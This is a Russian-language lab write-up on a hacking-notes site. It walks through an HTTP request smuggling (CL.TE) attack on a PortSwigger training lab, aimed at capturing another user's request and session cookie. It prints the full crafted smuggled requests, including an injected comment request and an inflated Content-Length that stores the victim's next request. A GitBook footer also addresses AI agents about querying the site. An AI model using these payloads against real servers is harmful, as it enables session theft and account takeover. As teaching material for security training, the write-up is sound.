> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/capture-queries-from-other-users.md).

# Перехват запросов других пользователей

### Эксплуатация HTTP Request Smuggling для захвата запросов других пользователей

В лаборатории настроены front-end сервер и back-end сервер. Front-end **не поддерживает chunked encoding**. / Цель состоит в том, чтобы **смугглер** запрос к back-end так, чтобы **следующий запрос пользователя** является **сохранённый приложением**. / Затем, **восстановить этот запрос** и использовать **cookie-файлы жертвы** для доступа к его учётной записи.

Лаборатория имитирует пользователя-жертву: после нескольких отправленных POST-запросов жертва выполняет свой собственный запрос. / Иногда необходимо повторить атаку несколько раз.

> Хотя лаборатория поддерживает HTTP/2, решение должно использовать **HTTP/1** так как некоторые техники возможны только в этом протоколе. " " Front-end интерпретирует **Content-Length**, в то время как back-end обрабатывает **Transfer-Encoding: chunked**, создавая смещение, которое можно использовать. " " Расширение Burp HTTP Request Smuggler может помочь вручную исправить длины.

#### 1. **Запрос, интерпретируемый front-end**

Front-end читает `Content-Length: 13`, затем также видит `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

После окончания чанка (`0`), добавляется дополнительный запрос к back-end.

<figure><img src="/files/52321bb94b957b589eb8e2b4617fcb8cb5985b57" alt=""><figcaption></figcaption></figure>

#### 2. **Инъекция POST-запроса для публикации комментария**

Вы формируете скрытый запрос, содержащий второй полный запрос:

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

Результат:/ Скрытый запрос обрабатывается так, как будто он пришёл из вашей собственной сессии, и приложение публикует комментарий.

<figure><img src="/files/ceed03f8c8b8d0a9dd08449e66dd194fc2d5b6a4" alt=""><figcaption></figcaption></figure>

#### 3. **Принуждение жертвы к публикации комментария**

Вы изменяете тело на:

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

и отправляете аналогичный запрос. / При обновлении приложение отображает **Спасибо за ваш комментарий**, что указывает на то, что жертва опубликовала этот комментарий.

<figure><img src="/files/a8ec97a884b5a0de17583f70751cbd1096c22c68" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c2d7726a66db27eef09033de3402074993a5e1dd" alt=""><figcaption></figcaption></figure>

#### 4. **Подготовка к захвату запроса жертвы**

Чтобы захватить весь запрос пользователя-жертвы, вы значительно увеличиваете `Content-Length` так, чтобы back-end воспринял следующий запрос как содержимое:

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

Следующий запрос, отправленный жертвой, затем поглощается ожидаемым телом... / и становится **доступным для просмотра в хранилище приложения**.

<figure><img src="/files/02abe4a157bd53ab7b952affb028f48a02687364" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
